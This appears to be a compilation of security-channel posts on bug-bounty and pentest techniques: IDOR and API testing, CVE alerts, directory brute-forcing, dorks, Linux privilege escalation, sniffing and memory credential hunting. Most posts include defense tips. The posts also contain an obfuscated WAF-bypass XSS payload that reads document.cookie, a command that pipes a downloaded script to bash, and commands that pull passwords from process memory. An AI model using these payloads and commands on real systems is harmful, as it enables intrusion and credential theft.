🖥 Day 25 – Linux Forensics & IR

Preserve volatile evidence first, collect key artifacts, build a timeline, hash everything, and hand over to IR for deeper analysis.

Quick checks:

ps aux > /tmp/ir_ps.txt
ss -tunap > /tmp/ir_ss.txt
lsof -nP > /tmp/ir_lsof.txt

If the host is rebooted or powered off → volatile memory and active network state are lost (major evidence gap).

⚠️ Do triage from a separate admin host, avoid reboots, capture memory only in controlled labs, and hash/record chain-of-custody.

📖 Full write-up on GitHub & Medium

📢 @cybersecplayground

#forensics #ir #linux #incidentresponse #infosec #cybersecplayground

🔥 4-Step API Testing Methodology
Advanced API Vulnerability Discovery
Use Case: Bug Bounty & API Security Testing

1️⃣ Find Sensitive API Endpoints

➕Target endpoints that leak:
- User PII (emails, phone numbers, addresses)
- Financial data (transactions, balances)
- Authentication tokens & session data
- Internal system information
- Admin-level data in user endpoints

Common sensitive endpoints:

/api/v1/users/[ID]
/api/admin/config
/api/internal/metrics
/api/orders/[ID]
/api/transactions
/api/profile/private

2️⃣ Cache Headers Analysis

➕ Check these response headers for caching:
- Cache-Control: public, max-age=3600 ← CACHED
- CF-Cache-Status: HIT ← Cloudflare Cached
- X-Cache: HIT ← Generic Cache Hit
- Age: 300 ← 5 minutes in cache
- ETag: "abc123" ← Entity tag for cache validation
- Via: 1.1 varnish ← Proxy caching

If cached → Try Web Cache Deception:

Legitimate: /api/users/me/profile
Deception:  /api/users/me/profile.css
Deception:  /api/users/me/profile/

3️⃣ HTTP Method Changing

Bypass auth/validation with method switching:

GET /api/admin/users → 403 Forbidden
POST /api/admin/users → 200 OK + user list

GET /api/config → 404 Not Found  
HEAD /api/config → 200 OK

POST /api/search → 403 Forbidden
PUT /api/search → 200 OK + results

4️⃣ Array-Based IDOR Testing

When you find: /api/users/123
Test these array/IDOR patterns:

/api/users/[123,124]
/api/users/123,124
/api/users/123&124
/api/users/?id[]=123&id[]=124
/api/users/?ids=123,124
/api/users/?user_ids=123,124
/api/batch/users?ids=123,124

🎯 Real-World Attack Chain
Step 1: Discover endpoint /api/v1/users/456
Step 2: Check headers → X-Cache: HIT, max-age=300
Step 3: Change GET to POST → Bypass rate limiting
Step 4: Test array IDOR → /api/v1/users/[456,457,458]
Result: Mass user data leakage + cached responses

🛡 Defense Recommendations
- Consistent Authorization - Apply same checks across all HTTP methods
- Input Validation - Reject array parameters unless explicitly allowed
- Cache Control - Use Cache-Control: private for sensitive data
- API Schema Enforcement - Validate against OpenAPI specification
- Audit Logging - Monitor for unusual parameter patterns

💡 Pro Testing Tips
- Use Burp's "Change Request Method" extension
- Automate with tools like katana or ffuf for endpoint discovery
- Always test both authenticated and unauthenticated contexts
- Combine techniques for maximum impact

🔔 Follow @cybersecplayground for advanced API hacking techniques!

Like & Share if you found your first IDOR with this! 💰

#APISecurity #BugBounty #IDOR #WebCacheDeception #CyberSecurity #APITesting #Hacking #SecurityResearch

🔥 4-Step API Testing Methodology
Advanced API Vulnerability Discovery

You can also read it on :
🔗 Medium : Link
🔗 Github : Link

@cybersecplayground

🚨 CRITICAL ALERT: CVE-2025-55315 - HTTP Request Smuggling in ASP.NET Core 🚨

A critical vulnerability (CVE-2025-55315) with a CVSS score of 9.9 has been patched in ASP.NET Core. This HTTP Request Smuggling flaw in the Kestrel web server is the highest-severity vulnerability ever reported for ASP.NET Core and could allow attackers to completely bypass security features .

🔥 What's Happening?
Vulnerability: HTTP Request/Response Smuggling (CWE-444) in ASP.NET Core's Kestrel web server

🔸Threat Level: CRITICAL (CVSS 9.9) - Microsoft's highest-ever severity score for ASP.NET
Attack Vector: Network - exploitable by an authorized attacker
Status: Patches available

⚡️ POC : https://gist.github.com/N3mes1s/d0897c13ca199e739ecc2b562f466040

🛠 Technical Breakdown

This inconsistency in HTTP request interpretation allows attackers to hide a malicious HTTP request inside another one . The front-end server and the back-end Kestrel server process different requests, bypassing security controls .

🔸Potential Attack Outcomes:
- Elevation of Privilege: Log in as another user or hijack sessions
- Server-Side Request Forgery (SSRF): Access internal endpoints and services
- Security Bypass: Circumvent CSRF protections and input validation
- Data Exposure: View or tamper with sensitive information and files

⚡️ IMMEDIATE ACTION REQUIRED
Affected Versions & Patches:
ASP.NET Core 8.0 (≤ 8.0.20) → Update to 8.0.21
ASP.NET Core 9.0 (≤ 9.0.9) → Update to 9.0.10
ASP.NET Core 10.0 RC1 → Update to RC2
Kestrel.Core Package (≤ 2.3.0) → Update to 2.3.6
.NET 6 is also affected but won't receive official patches as it's end-of-life .

📈 Threat Context & Exposure
- Massive Exposure: Nearly 500,000 services identified via Hunter.how
- Critical Infrastructure Impact: Can lead to full system compromise
- Authentication Bypass: Exploitable by attackers with low privileges

🛡 Additional Protection Measures
- Restart Applications after applying runtime updates
- Recompile & Redeploy self-contained applications
- Configure WAFs/Proxies to reject ambiguous HTTP headers if immediate patching isn't possible

🔔 Follow @cybersecplayground for real-time vulnerability alerts and patches!

Share this critical alert to help secure other networks! 👇
#CVE202555315 #CyberSecurity #InfoSec #Vulnerability #ASPNET #PatchNow #ThreatIntelligence #BugBounty

🚨 CRITICAL ALERT: CVE-2025-55315 - HTTP Request Smuggling in ASP.NET Core 🚨

🔸 Read on Medium | Github
🔗 POC

#CVE2025_55315 #ASPNET #Kestrel #RequestSmuggling #PatchNow #CyberSecurity

🚨 CRITICAL ALERT: SysAid On-Prem Pre-Auth RCE Chain 🚨

Vulnerability: Pre-Authentication Remote Code Execution
CVSS Score: 9.3 (Critical)
Status: Actively Exploited + PoC Public

🔥 What's Happening?
Attackers can achieve full SYSTEM-level control over SysAid On-Prem servers WITHOUT any credentials using a 4-vulnerability chain:

🔸CVE Chain:
- CVE-2025-2775, CVE-2025-2776, CVE-2025-2777 (XXE vulnerabilities)
- CVE-2024-36394 (Command Injection)

🛠 Attack Flow
➕ Unauthenticated XXE → Steal admin credentials from plaintext logs
➕ Command Injection → Execute arbitrary OS commands as SYSTEM
➕ Full Server Compromise → Install backdoors, ransomware, etc.

⚡️ IMMEDIATE ACTION REQUIRED
PATCH NOW → Upgrade to SysAid On-Prem 24.4.60+
SEGMENT NETWORK → Restrict access to management interfaces
ROTATE CREDENTIALS → Reset all admin passwords
MONITOR LOGS → Watch for requests to /mdm/checkin, /lshw

📚 Resources :
PoC & Technical Details: GitHub
Full Write-up: WatchTowr Labs
CyberSecPlayground Writeup : Github / Medium

🎯 Why This Matters
✅ No authentication required
✅ Full SYSTEM-level access
✅ Active exploitation in wild
✅ Easy to exploit with public PoC

🔔 Follow @cybersecplayground for real-time vulnerability alerts!

Share this critical alert to protect other networks! 👇

#CyberSecurity #CriticalVuln #RCE #SysAid #PatchNow #InfoSec #BugBounty #ThreatIntelligence

🔥 What is Feroxbuster?
Feroxbuster is a fast, recursive content discovery tool written in Rust. It's designed to brute-force directories and files on web servers, making it essential for bug bounty hunting and penetration testing.

🚀 Key Features
➖ Blazing Fast - Multi-threaded performance
➖ Recursive Scanning - Automatically follows discovered directories
➖ Flexible Filtering - Filter by status codes, word counts, etc.
➖ Multiple Extensions - Test with various file extensions
➖ Resume Capability - Pause and resume scans
➖ Auto-Tune - Adjusts performance based on server response

🛠 Basic Usage Examples
Simple Directory Bruteforce:

feroxbuster -u https://target.com -w wordlist.txt

Advanced Scan with Extensions:

feroxbuster -u https://target.com -w wordlist.txt -x php,html,js,txt -t 50

Recursive Scan with Filters:

feroxbuster -u https://target.com -w wordlist.txt --recursive -n

⚡️ Pro Commands
Aggressive Scan:

feroxbuster -u https://target.com -w big_wordlist.txt -t 100 -x php,asp,aspx,jsp -C 404,403 --auto-tune

Scan with Authentication:

feroxbuster -u https://target.com -w wordlist.txt -H "Authorization: Bearer token123"

Save Results & Resume:

feroxbuster -u https://target.com -w wordlist.txt -o results.json --json

🎯 Why Choose Feroxbuster?
✅ Faster than most traditional directory busters
✅ Smart filtering reduces false positives
✅ Easy to use with sensible defaults
✅ Continuous development and updates
✅ Great for both beginners and pros

💡 Pro Tips
➖ Start Small - Use common wordlists first (/usr/share/wordlists/dirb/common.txt)
➖ Adjust Threads - Use -t to control concurrent requests
➖ Filter Noise - Use -C to hide common status codes
➖ Use Extensions - -x parameter dramatically increases findings
➖ Monitor Performance - Watch for server rate limiting

📚 Installation

# Kali Linux
sudo apt install feroxbuster

# Using Cargo
cargo install feroxbuster

# GitHub Releases
wget https://github.com/epi052/feroxbuster/releases/latest/download/feroxbuster -O feroxbuster

🔔 Follow @cybersecplayground for more tool tutorials and hacking techniques!

Like & Share if you discovered new directories with this! 🚀

#CyberSecurity #PenTesting #BugBounty #WebSecurity #Feroxbuster #Reconnaissance #HackingTools #InfoSec

Google Dorking for Test Environments 🎓

🔥 The Dork That Exposes Everything

inurl:test | inurl:env | inurl:dev | inurl:staging | inurl:sandbox | inurl:debug | inurl:temp | inurl:internal | inurl:demo site:example[.]com

🎯 What You'll Find
- Test environments with weaker security
- Development servers often containing debug data
- Staging sites with real production data
- Sandbox environments that might be misconfigured
- Internal tools accidentally exposed to the internet

🛠 Pro Dork Combinations
Find Configuration Files:

site:example.com ext:env | ext:config | ext:yml | ext:yaml

Discover Backup Files:

site:example.com ext:bak | ext:backup | ext:old | ext:save

Locate Admin Panels:

site:example.com inurl:admin | inurl:login | inurl:dashboard

Find API Endpoints:

site:example.com inurl:api | inurl:rest | inurl:graphql

💡 Why This Works
- Developers often forget to block search engines from test environments
- Test sites frequently have weaker authentication
- Debug information might be enabled
- Real credentials and data are often present

⚠️ Important Notes
- Only test authorized targets
- Report findings responsibly through proper channels
- Don't exploit without permission
- Many companies have bug bounty programs for these findings

🛡 Defense Tips for Companies
- Robots.txt - Properly block search engine indexing
- Authentication - Require login for all internal environments
- Network Segmentation - Keep test environments internal
- Monitoring - Alert on unauthorized access attempts

🔔 Follow @cybersecplayground for more advanced reconnaissance techniques!

Like & Share if you found your first test environment with this! 🚀

#BugBounty #GoogleDorking #CyberSecurity #Pentesting #EthicalHacking #Reconnaissance #InfoSec #SecurityResearch

🔥 What is IDOR?

IDOR occurs when an application uses user-supplied input to access objects directly without proper authorization checks. Attackers can manipulate references to access other users' data.
An IDOR vulnerability occurs when a web application uses user-supplied input (such as an ID, filename, or database key) to directly access an internal object or resource without proper access control or authorization checks. This allows an attacker to manipulate these references to gain unauthorized access to data or functionality that should be restricted

🎯 Common IDOR Examples

Simple IDOR:

Normal: /api/user/123/profile
Attack: /api/user/124/profile

Parameter-Based IDOR:

Normal: /download?file=user123.txt
Attack: /download?file=admin.txt

API Endpoint IDOR:

Normal: GET /api/orders/456
Attack: GET /api/orders/789

🛠 Advanced IDOR Techniques

1. Array-Based IDOR:

/api/users/[101,102,103]
/api/users/?ids[]=101&ids[]=102
/api/batch?users=101,102,103

2. HTTP Method Switching:

GET /api/admin/users → 403 Forbidden
POST /api/admin/users → 200 OK + Data

3. UUID/Hash Prediction:

/documents/550e8400-e29b-41d4-a716-446655440000

Try incrementing or predicting other UUIDs

4. Parameter Pollution:

?user_id=123&user_id=124
?account=123&account=124

💡 Testing Methodology

Step 1: Find Object References
- Look for numeric IDs, UUIDs, usernames in URLs
- Check API endpoints with user-specific data
- Review JavaScript files for API calls

Step 2: Test Authorization
- Change IDs while logged in as User A
- Try accessing other users' resources
- Test with different HTTP methods

Step 3: Escalate Impact
- From user data → admin panels
- From read access → write/delete access
- Combine with other vulnerabilities

⚡️ Pro Tips for Bug Bounty
Bypass Common Defenses:
- Use URL encoding: %32 for 2
- Try different formats: hex, decimal, base64
- Test with trailing slashes or parameters

➕ Automate Discovery:

# Use tools like ffuf for mass IDOR testing
ffuf -w user_ids.txt -u https://target.com/api/user/FUZZ

Look For:
- Sequential numeric IDs
- Predictable patterns
- Lack of authorization tokens
- Weak session management

🛡 Defense Strategies
- Use Indirect References - Map to internal IDs
- Proper Authorization - Check permissions on every request
- Random UUIDs - Avoid sequential identifiers
- Input Validation - Validate and sanitize all user input
- Audit Logging - Monitor for suspicious access patterns

🎯 Real-World Impact
✅ Access other users' personal data
✅ View confidential documents
✅ Modify/delete other users' content
✅ Elevate privileges to admin access

🔔 Follow @cybersecplayground for more vulnerability deep dives!

Like & Share if you found your first IDOR with this guide! 💰

#IDOR #WebSecurity #BugBounty #CyberSecurity #APISecurity #Hacking #PenTesting #InfoSe

🖥 Day 26 –Automating Linux Privilege Escalation Checks

Automate privilege-escalation enumeration to speed up safe discovery of misconfigs and weak points.

Quick checks:

wget -qO- https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
./lse.sh -l2
sudo -l; find / -perm -4000 2>/dev/null

If automated checks reveal writable root-owned scripts, NOPASSWD sudo, or many SUID binaries → high PrivEsc risk.

⚠️ Review outputs manually, avoid noisy exploits, and remediate findings (fix perms, restrict sudo, remove dangerous SUID/caps).

📖 Full write-up & download: 👉 Github / Medium
📢 Join our channel for scripts & labs: @cybersecplayground

#linux #privilegeescalation #pentesting #linpeas #infosec #cybersecplayground

IDOR Part 2 - Advanced Bypass Techniques 🎓

🔥 UUID-Based IDOR Tricks
various techniques used to discover and exploit Insecure Direct Object Reference (IDOR) vulnerabilities, which are a type of broken access control flaw. IDOR occurs when an application exposes a direct reference to an internal object (like a database ID or filename) and fails to implement proper access control checks.

Lets start with some tips :
- The NULL UUID Technique:

# Try these special UUID values:
00000000-0000-0000-0000-000000000000
11111111-1111-1111-1111-111111111111
ffffffff-ffff-ffff-ffff-ffffffffffff

Often exposes default objects, admin accounts, or test

- UUID Pattern Prediction:

# If you see: 550e8400-e29b-41d4-a716-446655440000
# Try incrementing last segments:
550e8400-e29b-41d4-a716-446655440001
550e8400-e29b-41d4-a716-446655440002

# Or decrementing:
550e8400-e29b-41d4-a716-446655439999

🎯 Advanced Bypass Methods
1. Case Manipulation:

/user/123 → /user/124  # Obvious
/user/ABC123 → /user/abc123  # Case variation
/user/AbC123 → /user/aBc123  # Mixed case

2. Encoding Variations:

// URL Encoding
user%32 → user2
%31%32%33 → 123

// Unicode Normalization
%C0%AE%2E → .. (path traversal in IDs)

3. Parameter Shifting:

# Original: /api/user?id=123&type=profile
/api/user?id=124&type=profile  # Basic IDOR
/api/user?id=123&type=admin    # Type parameter IDOR
/api/user?id=124&type=admin    # Combined IDOR

💡 Creative IDOR Discovery
1. Batch Request IDOR:

POST /api/batch
[
  {"method": "GET", "path": "/users/101"},
  {"method": "GET", "path": "/users/102"},
  {"method": "GET", "path": "/users/103"}
]

2. GraphQL IDOR:
Look for user(id:) parameters

query {
  user(id: "101") { email }
  user(id: "102") { email }
}

3. WebSocket IDOR:
Check WebSocket messages for object references

ws.send('{"action":"getUser","id":"101"}')
ws.send('{"action":"getUser","id":"102"}')

⚡️ Pro-Level Testing Strategies

1. Timing-Based Detection:
- Compare response times for valid vs invalid IDs
- Faster responses often mean cached/valid data
- Slower responses might indicate DB queries for non-existent objects

2. Error Message Analysis:

# Different errors reveal different information:
ID 101 → 200 OK (your data)
ID 102 → 403 Forbidden (exists, no access)
ID 999 → 404 Not Found (doesn't exist)
ID 000 → 500 Error (unexpected input)

3. Mass IDOR Testing with FFUF:
- Test numeric ranges

ffuf -w ranges.txt -u https://target.com/api/user/FUZZ

- Test UUID patterns

ffuf -w uuids.txt -u https://target.com/docs/FUZZ

- Test with different HTTP methods

ffuf -X POST -w ids.txt -u https://target.com/api/delete/FUZZ

🛡 Bypassing Common Protections

Against Rate Limiting:
- Use different IPs or user agents
- Add delays between requests
- Use batch endpoints to check multiple IDs at once

Against Token Validation:
- Try removing tokens entirely
- Use other users' tokens
- Manipulate token expiration

Against Referer Checks:
- Spoof referer headers
- Use null referer
- Chain with XSS to bypass completely

🎯 Real-World Impact Scenarios
Horizontal to Vertical Escalation:

User A → Access User B's data (Horizontal)
User A → Find admin UUID → Access admin panel (Vertical)

Data Correlation Attacks:
- Find user IDs through other endpoints
- Correlate data across different API versions
- Chain IDOR with information disclosure

Pro Tip: Always test the NULL UUID (00000000-0000-0000-0000-000000000000) - you'd be surprised how many systems have default objects exposed! 💰

🔔 Follow @cybersecplayground for Part 3: IDOR Automation & Bug Bounty Reports!

Like & Share if you bypassed IDOR protections with these techniques! 🔥

#IDOR #WebSecurity #BugBounty #CyberSecurity #UUID #APISecurity #Hacking #PenTesting

⚡️ IDOR Part 2 — Advanced Bypass Techniques

This guide covers advanced techniques for discovering and exploiting Insecure Direct Object Reference (IDOR) issues, with a focus on UUID-based tricks, encoding variations, batch testing, and bypassing common protections.

🔗 Read it on Medium / Github

1️⃣ @cybersecplayground

🎓 IDOR Part 3 - Automation & Bug Bounty Mastery

Automating aspects of Insecure Direct Object Reference (IDOR) penetration testing is necessary to provide continuous security validation at scale, free up manual testers’ time for more complex issues, and ensure vulnerabilities are found and fixed earlier in the software development lifecycle.

🔗 Read Part 3 at Medium / Github

1️⃣ @cybersecplayground

#IDOR #BugBounty #WebSecurity #Automation #CyberSecurity #Hacking #PenTesting #InfoSec

⚡️ IDOR Part 4 — IoT & API Gateway Exploitation

IDOR doesn’t stop at web apps — IoT environments, API gateways, cloud storage, and microservices introduce new attack surfaces where object references leak far more sensitive systems, including smart homes, industrial devices, and internal cloud APIs.

🔗 Read full post at Medium / Github
💎 @cybersecplayground

#IDOR #BugBounty #WebSecurity #Automation #CyberSecurity #Hacking #PenTesting #InfoSec

🖥 Day 27 – Linux Hardening & Auditd , Monitoring , Output Redirection, Logging for Hackers

Introduce essential Linux hardening techniques and teach how to monitor critical system activity using auditd and capturing output, logging everything, and monitoring systems in real-time without breaking stealth , a powerful auditing framework for security teams, IR responders, and pentesters simulating defenders.

✨ Full write-up GitHub & Medium version:
🔗 Github
🔗 Medium

📢 Daily Linux hacking & defense lessons: @cybersecplayground

#linux #auditd #hardening #security #redteam #blueteam #cybersecplayground

🚨 CRITICAL ALERT: React Server Components Unauthenticated RCE (CVE-2025-55182) 🚨

A maximum severity unauthenticated Remote Code Execution (RCE) vulnerability (CVSS 10.0) has been disclosed in React 19's Server Components, with massive exposure across millions of applications. This flaw, nicknamed "React2Shell," allows complete server takeover without authentication.

⚡️ Why This Is Critical
- No Authentication Needed: Attackers can exploit it with a single, specially crafted HTTP request.
- Widespread Vulnerability: It affects any application that supports React Server Components, even if it doesn't explicitly use Server Functions.
- Massive Attack Surface: Over 3.1 million+ exposed targets identified via ZoomEye, with research showing 39% of cloud environments contain vulnerable instances.

⚡️ Dorks
The vulnerability exposes a huge number of internet-facing applications. You can use these queries to find potentially vulnerable React/Next.js instances:

ZoomEye Dork (as shared in the alert):

http.body="react.production.min.js"  http.body="React.createElement("  app="React Router" || app="React.js"

Search by CVE Filter (for platforms that support it):

vul.cve="CVE-2025-55182"

Context: Research indicates nearly 40% of cloud environments contain vulnerable instances, with millions of applications exposed.

⚠️ Important Notes
- Exploitation Status: While a proof-of-concept (PoC) is now public, there are no confirmed reports of in-the-wild exploitation yet—but this is expected to change quickly.

- Impact Scope: Applications using React 18 or below, or those that do not use a server (e.g., purely client-side apps) are NOT affected.

🔥PoC : Github
🔥Python Scanner : Github

🔔 Stay ahead of critical threats. Follow @cybersecplayground for real-time vulnerability alerts and deep-dive analysis.

Share this to help secure the ecosystem! 👇

#CVE202555182 #ReactJS #RCE #CriticalVuln #CyberSecurity #InfoSec #ZoomEye #PatchNow

🖥 Day 28 – Linux Network Sniffing & Packet Capture for Hackers

Packet capture = one of the strongest skills in hacking. Today we cover quick checks + fast analysis flow.

Quick checks:

ip a                           # list interfaces
tcpdump -D                     # detect capture interfaces
tcpdump -i eth0                # live capture
tcpdump -i any port 53         # watch DNS in real time
tcpdump -A -i eth0 'tcp port 80'  # spot cleartext creds

Risks & attacker value:
- Cleartext protocols leak creds & API keys
- DNS reveals hostnames + internal mapping
- Misconfigs expose tokens, cookies, session IDs
- Great for catching brute-force, beaconing, data exfiltration

Fast workflow :

tcpdump -i eth0 -w dump.pcap          # capture
tshark -r dump.pcap -Y "http.request" # extract HTTP
tshark -r dump.pcap --export-objects http,./loot

🔗 Full write-up on GitHub & Medium
Join our channel for daily labs & PoCs: @cybersecplayground

#linux #tcpdump #tshark #networking #infosec #pentesting #cybersecplayground

⚡️Advanced XSS Bypass for Akamai WAF

Bypassing an Akamai WAF involves techniques like obfuscation, leveraging inconsistent data interpretation, and exploiting specific application logic flaws (e.g., parameter pollution or CRLF injection). There is no single "universal" payload; successful bypasses are specific to the target application's configuration and context.

🔥 The Bypass Payload

<!--><svg+onload=%27top[%2fal%2f%2esource%2b%2fert%2f%2esource](document.cookie)%27>

🛠 How This Bypass Works
1. HTML Comment Evasion:

<!--> 

- Starts with an HTML comment tag
- Akamai might treat this as comment content But browsers still parse what follows

2. Obfuscated JavaScript Execution:

top[%2fal%2f%2esource%2b%2fert%2f%2esource](document.cookie)

➕ URL Decoded:

top[/al/.source+/ert/.source](document.cookie)

➕ Final Execution:

top["alert"](document.cookie)

3. Breaking Down the String Construction:

/al/.source   → "al"  (RegExp source property)
/ert/.source  → "ert" (RegExp source property)
"al" + "ert" → "alert"
top["alert"] → top.alert

💡 Why This Bypasses Akamai WAF
▫️ Keyword Splitting:
- alert is split into al + ert
- WAF regex might look for alert as whole word
- Split strings bypass keyword detection

▫️ RegExp Source Property:
- .source returns RegExp pattern as string
- Creates strings without quotes
- Avoids string literal detection

▫️ Top-Level Context:
- top["alert"] instead of window.alert or just alert
- Different pattern than common WAF rules

⚡️ Advanced Variations
Alternative String Construction:

<!--><svg onload=top[/al/.source+/ert/.source](/XSS/.source)>
<!--><svg onload=top[868..toString(36)](1337)>
<!--><svg onload=self[al+ert](1)>

HTML Tag Obfuscation:

<svg><script>/*comment*/top.aler\u0074(1)</script>
<svg><script>top[868..toString(36)](1337)</script>
<svg><script>self[al+ert](document.domain)</script>

🛡 How Akamai Could Block This
Improved Detection Strategies:
1 - Context-Aware Parsing: Parse HTML before checking
2 - JavaScript Deobfuscation: Analyze final executed code
3 - Behavior Detection: Flag suspicious string concatenation
4 - Regex for .source Usage: Detect RegExp property abuse

WAF Rule Improvements:

/(?:<!\-\-.*?>|\.source\s*\+\s*\.source)/i
/(?:top|self|window)\[.*?\]\(.*?\)/i

🎯 Testing Methodology
Step-by-Step Testing:
1 - Start Simple: Test basic alert(1) payload
2 - Add Obfuscation: If blocked, try comment prefixes
3 - Split Keywords: Break alert into parts
4 - Alternative Context: Try top, self, parent
5 - String Construction: Use .source, toString(), template literals


💰 Bug Bounty Impact
🔸 High Severity: Cookie theft, session hijacking
🔸 Common in Enterprises: Akamai is widely used
🔸 Good Rewards: WAF bypasses often get high bounties
🔸 Chain Potential: Combine with other vulnerabilities

🔔 Follow @cybersecplayground for more WAF bypass techniques!

✅ Like & Share if you bypassed a WAF with this technique! 🚀

🔗 Read on : Github / Medium
#XSS #WAFBypass #Akamai #WebSecurity #BugBounty #CyberSecurity #Hacking #PenTesting

⚠️ Pro Tip: Always test multiple variations - what works on one site might not work on another with different WAF rules!

🚨 pgAdmin 4 Meta-Command Filter Bypass — RCE

📌 Vulnerability Summary
➕ Product: pgAdmin 4
➕Affected Versions: ≤ 9.10
➕Fixed Version: 9.11
➕Impact: Remote Code Execution (RCE) on pgAdmin host

Attackers can craft a malicious PLAIN-format SQL dump that bypasses pgAdmin’s meta-command filter, resulting in command execution on the server when a restore operation is performed.

🔗 Read on Medium / Github

#pgAdmin #PostgreSQL #RCE #CVE2025 #ZoomEye #CyberSecurity #VulnerabilityResearch #InfoSec

🖥 Day 29 – Linux Memory Analysis & Credential Hunting

Secrets often live only in memory, not on disk. If you can read process memory, encryption and file permissions often don’t matter.

🟡 Quick checks:

ls /proc
ls /proc/<pid>
cat /proc/<pid>/environ | tr '\0' '\n'
ps aux | grep -i pass

High-value targets:
➕Running services (DBs, web servers)
SSH agents
➕Root-owned daemons
➕Apps loading secrets via env vars

🟡 Memory hunting basics:

strings /proc/<pid>/mem | grep -i pass
cat /proc/<pid>/maps

- If ptrace is allowed, attaching to live processes can reveal passwords, tokens, and decrypted configs.

🔗 Full write-up on GitHub & Medium

Join our channel for daily labs & PoCs: @cybersecplayground

#linux #memory #procfs #pentesting #redteam #infosec #cybersecplayground

🎓Understanding PII and Initial Discovery Techniques (Part 1/3)🎓

Personally Identifiable Information (PII) is any data that can identify an individual. In security testing and bug bounty hunting, finding exposed PII is a critical high-impact discovery. This series will cover discovery, validation, and reporting across three parts.

🔥 What Actually Qualifies as PII?

🔸 Direct Identifiers (Highest Risk): National ID (SSN), Passport Number, Full Name + Date of Birth, Driver's License Number
🔸 Digital Identifiers: Email Address, IP Address, Account Username, Device ID, Social Media Profile with identifying details
🔸 Financial Identifiers: Full Credit/Debit Card Number (PAN), Bank Account Number
🔸 Contextual Identifiers: Information that, when combined (e.g., Job Title + Company + City), can identify a person.

💡 Why PII Hunting is Critical for Security & Bounty

▫️ Legal & Compliance: Exposing PII violates major regulations like GDPR, CCPA, and HIPAA, leading to massive fines.
▫️ High-Impact Findings: A single leak can affect thousands of users, making it a high-severity bug bounty issue.
▫️ Real-World Harm: Exposed data fuels identity theft, financial fraud, and phishing attacks.

🛠 Part 1: The Reconnaissance & Initial Discovery Phase
- The goal is to find data entry points and potential leak sources.

1. Target Surface Mapping:
➕ Map all subdomains: assetfinder, subfinder, amass
➕ Identify technologies: wappalyzer, builtwith
➕ Find parameters: arjun, paramspider

2. Google Dorking for Obvious Leaks:

site:example.com filetype:csv | filetype:xlsx | filetype:pdf
site:example.com "confidential" | "internal" | "employee list"
intitle:"index of" "backup" site:example.com

3. Basic Fuzzing for Common Files:

# Look for common backup/config files containing data
ffuf -w ~/SecLists/Discovery/Web-Content/common.txt -u https://target.com/FUZZ -e .bak,.old,.txt,.sql,.tar.gz

⚡️Other important tools : subfinder, amass, httpx, gobuster .

🔔 Follow @cybersecplayground for Part 2: Deep-Dive PII Hunting Techniques!

✅ Like & Share if you're ready to hunt for data leaks! 🔍

⚠️ Pro Tip: Always check /robots.txt and /.git/ for clues about hidden directories containing data!

#PII #Reconnaissance #BugBounty #OSINT #CyberSecurity #DataLeak #InfoSec